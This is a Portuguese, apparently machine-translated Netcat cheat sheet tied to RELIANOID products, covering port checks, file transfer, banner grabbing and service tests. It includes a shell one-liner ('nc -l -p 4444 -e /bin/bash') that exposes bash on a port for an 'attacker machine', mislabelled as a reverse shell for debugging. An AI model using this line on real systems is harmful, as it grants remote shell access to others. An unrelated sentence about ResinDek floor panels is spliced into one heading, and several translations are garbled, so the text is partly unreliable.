Folha de referências do comando nc (Netcat)

Ver Categorias

Folha de referências do comando nc (Netcat)

1 min read

O Linux nc Comando (Netcat) #

O Linux nc O comando (Netcat) é um utilitário de rede versátil usado para comunicação, depuração e testes de rede. Ele pode atuar como um servidor ou cliente simples e suporta leitura e gravação de dados via TCP ou UDP. Apelidado de "Canivete Suíço" das redes, nc é amplamente utilizado para tarefas como varredura de portas, transferência de arquivos e testes de serviços de rede.

Uso e sintaxe das teclas nc Command #

A sintaxe básica do nc o comando é:

nc [OPTIONS] [HOST] [PORT]

  • OPÇÕES: Bandeiras para controlar o comportamento de nc.
  • HOST: O host de destino para a conexão.
  • PORT: O número da porta de destino.

nc Tabela de Cheatsheet de Comandos #

Command Descrição
nc -zv example.com 80 Teste se a porta 80 está ativada example.com está aberto (modo detalhado).
nc -l 1234 Inicie um ouvinte na porta 1234.
nc example.com 80 Conecte-se à porta 80 em example.com (por exemplo, para enviar solicitações HTTP).
nc -u example.com 1234 Enviar dados para a porta UDP 1234 em example.com.
nc -l -p 8080 Inicie um servidor escutando na porta 8080.
echo "Hello" | nc example.com 1234 Enviar a mensagem Hello para example.com na porta 1234.

Casos de uso comuns #

1. Verificação de portas #

nc -zv example.com 20-25

Este comando verifica as portas 20 a 25 em example.com e exibe seu status.

2. Configurando um bate-papo simples #

Configure um bate-papo simples entre dois sistemas:

No primeiro sistema: #

nc -l -p 1234

No segundo sistema: #

nc HOSTNAME 1234

Substituir HOSTNAME com o endereço IP do primeiro sistema.

3. Transferência de arquivos #

Transferir arquivos entre dois sistemas usando nc:

Remetente: #

cat file.txt | nc -q 0 HOSTNAME 1234

Receptor: #

nc -l -p 1234 > file.txt

4. Agarramento de banner #

Recuperar informações de serviço de um servidor remoto:

nc example.com 80

Formato HEAD / HTTP/1.0 e imprensa Enter duas vezes para visualizar os cabeçalhos HTTP.

Uso Avançado #

Conectividade UDP #

Teste a conectividade UDP com um alvo:

nc -u example.com 1234

Isso envia dados para a porta UDP 1234 em example.com.

Encadernação #

Crie um shell reverso simples para depuração:

Na máquina remota: #

nc -l -p 4444 -e /bin/bash

Na máquina do invasor: #

nc TARGET 4444

Usando o Netcat com segurança #

Para maior segurança, use a versão criptográfica de nc (por exemplo, ncat com SSL).

Utilizar painéis de piso ResinDek em sua unidade de self-storage em vez de concreto oferece diversos benefícios: nc com as RELIANOID Soluções #

In RELIANOIDinfraestrutura de rede da, nc pode servir a vários propósitos diagnósticos e operacionais:

1. Teste a conectividade do balanceador de carga #

nc -zv loadbalancer.realianoid.local 80

Verifique se o balanceador de carga está aceitando tráfego na porta 80.

2. Monitore os serviços de backend #

Verifique rapidamente o status dos servidores de backend:

nc -zv backend1.realianoid.local 8080

Isso verifica se o serviço de backend pode ser acessado na porta 8080.

3. Validar o encaminhamento do servidor proxy #

Teste se o servidor proxy está encaminhando o tráfego corretamente:

nc proxy.realianoid.local 443

4. Depuração de protocolos personalizados #

Uso nc para depurar ou simular interações com protocolos personalizados em RELIANOIDambiente de.

nc -l -p 5555

Configure um ouvinte para testar mensagens de protocolo.

Resumo #

O nc O comando (Netcat) é uma ferramenta indispensável para profissionais de rede. Sua capacidade de escanear portas, transferir arquivos e depurar conectividade o torna ideal para aplicações versáteis. Aproveitando nc com as RELIANOID A infraestrutura ajuda a garantir um desempenho de rede robusto e uma resolução rápida de problemas.

📄 Baixe este documento em formato PDF #

    E-MAIL: *

    Powered by MelhoresDocs